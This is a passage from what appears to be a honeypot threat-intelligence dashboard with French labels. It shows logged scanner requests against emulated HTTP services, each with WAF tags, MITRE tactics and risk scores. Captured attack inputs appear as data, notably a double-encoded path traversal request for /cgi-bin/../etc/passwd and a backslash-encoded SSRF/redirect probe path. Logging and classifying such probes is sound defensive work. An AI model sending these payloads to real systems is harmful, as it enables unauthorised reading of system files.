"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8060,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8060 \u00b7 (tentative d'exploit)",
"target_port_label": "8060 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 51\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 51,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 51,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8060,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8060,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8060 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8060 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8060"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 21,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:34:39 UTC
TCP
8021 · HTTP
SSRF interne
ssrf internal · via HTTP:8021 · (tentative d'exploit) · → /%5cgoogle.com/4af206ebd4.html
Élevée
Moyen · 59
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET /%5cgoogle.com/4af206ebd4.html UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/%5cgoogle.com/4af206ebd4.html
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8021
Chemin / cible
/%5cgoogle.com/4af206ebd4.html
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 59
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1
Host: 62.3.50.33:8021
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O
Requête brute (extrait)
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1 Host: 62.3.50.33:8021 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "html",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "20069a0609fb04fa269e76e054466b89fdd46dcb",
"http_target_hash": "eef7221f84d0c9d32bcbdb1de8e88a4ee8ae2719",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 214,
"payload_entropy": 5.416704615580212,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8021,
"risk_waf": 84,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.1,
"risk_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 59,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "1665444970503c95046c38d3a6ec58e15081f1a8",
"event_fingerprint": "a0ddd531b7ff72a58206157e6855927f02fbd2d9",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 59,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "157fe20a5b09b6deb6dd8451da0c17eb",
"path_pattern_hash": "1ff0d8dcf831a076b212dbddfef2a545"
},
"target_context": {
"dst_port": 8021,
"service": "http",
"service_name": "http",
"risk_score": 59
},
"payload_preview": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"method": "GET",
"path": "\/%5cgoogle.com\/4af206ebd4.html",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"request_sample": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"evidence": {
"method": "GET",
"path": "\/%5cgoogle.com\/4af206ebd4.html",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"request_sample": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ee8ac163b77b47b91915d06e36f1bccac68ab7ed",
"protocol_details": {
"http_method": "GET",
"http_path": "\/%5cgoogle.com\/4af206ebd4.html",
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8021,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"attack_vector": "ssrf internal \u00b7 via HTTP:8021 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html",
"target_port_label": "8021 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 59\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 59,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 59,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8021,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/%5cgoogle.com\/4af206ebd4.html",
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8021,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8021 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html",
"evidence_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O",
"target_port_label": "8021 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8021"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 20,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:16:01 UTC
TCP
8002 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8002 · (tentative d'exploit) · → /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%…
Élevée
Élevé · 68
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1083
TA0001
TA0002
Protocole
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8002
Chemin / cible
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
Http Lfi
pat-0716
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
LFI path /etc/passwd
Ligne de requête
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
Requête brute (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1 Host: 62.3.50.33:8002 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (K
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "348a4d91a8c00fab2128459a9b3a8774d81f2daa",
"http_target_hash": "47675bd2bfeb14823e0d442f0375d8c7248caf88",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 308,
"payload_entropy": 5.044676152199992,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8002,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "f50597c61cad532fb6b9316d1013021ef9d7e07f",
"event_fingerprint": "fc435a0ce1840da51df80d0cee878f64442148c2",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 457,
"precision_signals": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137",
"CRS-930100-sub",
"INT-upstream"
],
"kb_rule_ids": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0716",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "d28daf75a7e946d85c7ca19f9466a4f5",
"path_pattern_hash": "82b384efd9ccbe154a2872539486157a"
},
"target_context": {
"dst_port": 8002,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:8002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (K",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c83976da69245842824746c5d02740de66c798f4",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8002,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8002 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"target_port_label": "8002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8002,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"Http Lfi",
"pat-0716",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
